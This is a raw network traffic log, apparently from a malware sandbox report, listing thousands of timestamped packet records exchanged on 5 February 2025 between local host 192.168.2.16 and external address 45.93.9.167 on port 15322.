Feb 5, 2025 23:11:10.446193933 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.446202993 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.446213961 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.446224928 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.446234941 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.446245909 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.446266890 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.446374893 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.467112064 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.467148066 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.467158079 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.467168093 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.467185020 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.467220068 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.467226982 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.467231989 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.467243910 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.467269897 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.467278957 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.467289925 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.467293024 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.467300892 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.467451096 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.467540026 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.467573881 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.467583895 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.467730045 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.467734098 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.467757940 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.467767000 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.467814922 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.467825890 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.467845917 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.467978001 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.468059063 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.468154907 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.468166113 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.468175888 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.468223095 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.468239069 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.468244076 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.468255043 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.468256950 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.468262911 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.468343973 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.468343973 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.468691111 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.468702078 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.468713999 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.468837023 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.468853951 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.468866110 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.468877077 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.468888998 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.468914032 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.468959093 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.469189882 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.469202995 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.469213963 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.469268084 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.469268084 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.469290972 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.469300985 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.469310999 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.469324112 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.469368935 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.469368935 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.469500065 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.469510078 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.469520092 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.469530106 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.469541073 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.469554901 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.469584942 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.469620943 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.470078945 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.470091105 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.470103979 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.470189095 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.470197916 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.470210075 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.470216036 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.470242977 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.470303059 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.470312119 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.470320940 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.470325947 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.470330954 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.470343113 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.470360994 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.470365047 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.470395088 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.470395088 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.471005917 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.471044064 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.471052885 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.471081018 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.471127033 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.533535004 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.533576012 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.533587933 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.533597946 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.533603907 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.533607960 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.533618927 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.533649921 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.533660889 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.533670902 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.533679962 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.533723116 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.533782005 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.533788919 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.533807039 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.533818007 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.533875942 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.533905029 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.533988953 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.533999920 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.534008980 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.534064054 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.534068108 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.534068108 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.534082890 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.534250975 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.534269094 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.534279108 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.534290075 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.534301043 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.534423113 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.554920912 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.554944038 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.554963112 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.554976940 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.554987907 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.554997921 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.555011988 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.555012941 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.555066109 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.555068970 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.555078983 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.555088997 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.555099010 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.555104971 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.555141926 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.555284023 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.555294991 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.555305004 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.555321932 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.555332899 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.555358887 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.573302031 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.573322058 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.573342085 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.573352098 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.573363066 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.573373079 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.573385000 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.573395014 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.573451996 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.573529005 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.573539972 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.573554993 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.573589087 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.573596001 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.573607922 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.573645115 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.573730946 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.573741913 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.573757887 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.573786974 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.573801041 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.573812962 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.573822021 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.573837042 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.573853970 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.574037075 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.574048996 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.574059010 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.574081898 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.574098110 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.574109077 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.574111938 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.574120045 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.574131012 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.574151993 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.574170113 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.574393988 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.574404001 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.574417114 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.574470043 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.574480057 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.574485064 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.574491978 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.574501991 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.574512005 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.574542999 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.574670076 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.574681997 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.574692965 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.574719906 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.574731112 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.574733019 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.574750900 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.574825048 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.574835062 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.574846029 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.574856043 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.574863911 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.574868917 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.574898005 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.574914932 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.574925900 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.574939013 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.574959993 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.574982882 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.575058937 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.575071096 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.575082064 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.575093031 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.575103998 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.575112104 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.575115919 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.575126886 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.575136900 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.575160027 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.579370975 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.579389095 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.579408884 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.579421043 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.579443932 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.579483986 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.579530954 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.579549074 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.579560041 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.579571009 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.579571009 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.579586029 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.579602957 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.579621077 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.579741001 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.579751968 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.579761982 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.579772949 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.579791069 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.579796076 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.579807997 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.579818964 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.579822063 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.579838991 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.579849958 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.579852104 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.579859972 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.579869986 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.579879999 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.579890013 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.579900026 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.579900980 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.579940081 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.580384016 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.580406904 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.580425978 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.580436945 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.580445051 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.580454111 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.580466032 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.621876001 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.621900082 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.621912956 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.621922970 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.621933937 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.621943951 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.621956110 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.621964931 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.621973038 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.621977091 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.621988058 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.621999979 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.622011900 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.622021914 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.622028112 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.622035027 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.622056007 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.642406940 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.642431021 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.642441988 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.642452955 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.642472982 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.642484903 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.642524004 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.642550945 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.642577887 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.642591953 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.642622948 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.642667055 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.642770052 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.642784119 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.642796993 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.642934084 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.642946959 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.642957926 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.642976046 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.642976046 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.642978907 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.642993927 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.643006086 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.643006086 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.643028975 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.643034935 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.643044949 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.643058062 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.643070936 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.643074989 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.643084049 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.643095970 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.643096924 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.643125057 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.661046028 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.661071062 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.661082029 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.661091089 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.661107063 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.661135912 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.661145926 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.661161900 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.661174059 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.661175966 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.661190987 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.661205053 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.661217928 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.661231041 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.661242008 CET	15322	49704	45.93.9.167	192.168.2.16
Feb 5, 2025 23:11:10.661262989 CET	49704	15322	192.168.2.16	45.93.9.167
Feb 5, 2025 23:11:10.661293030 CET	15322	49704	45.93.9.167	192.168.2.16
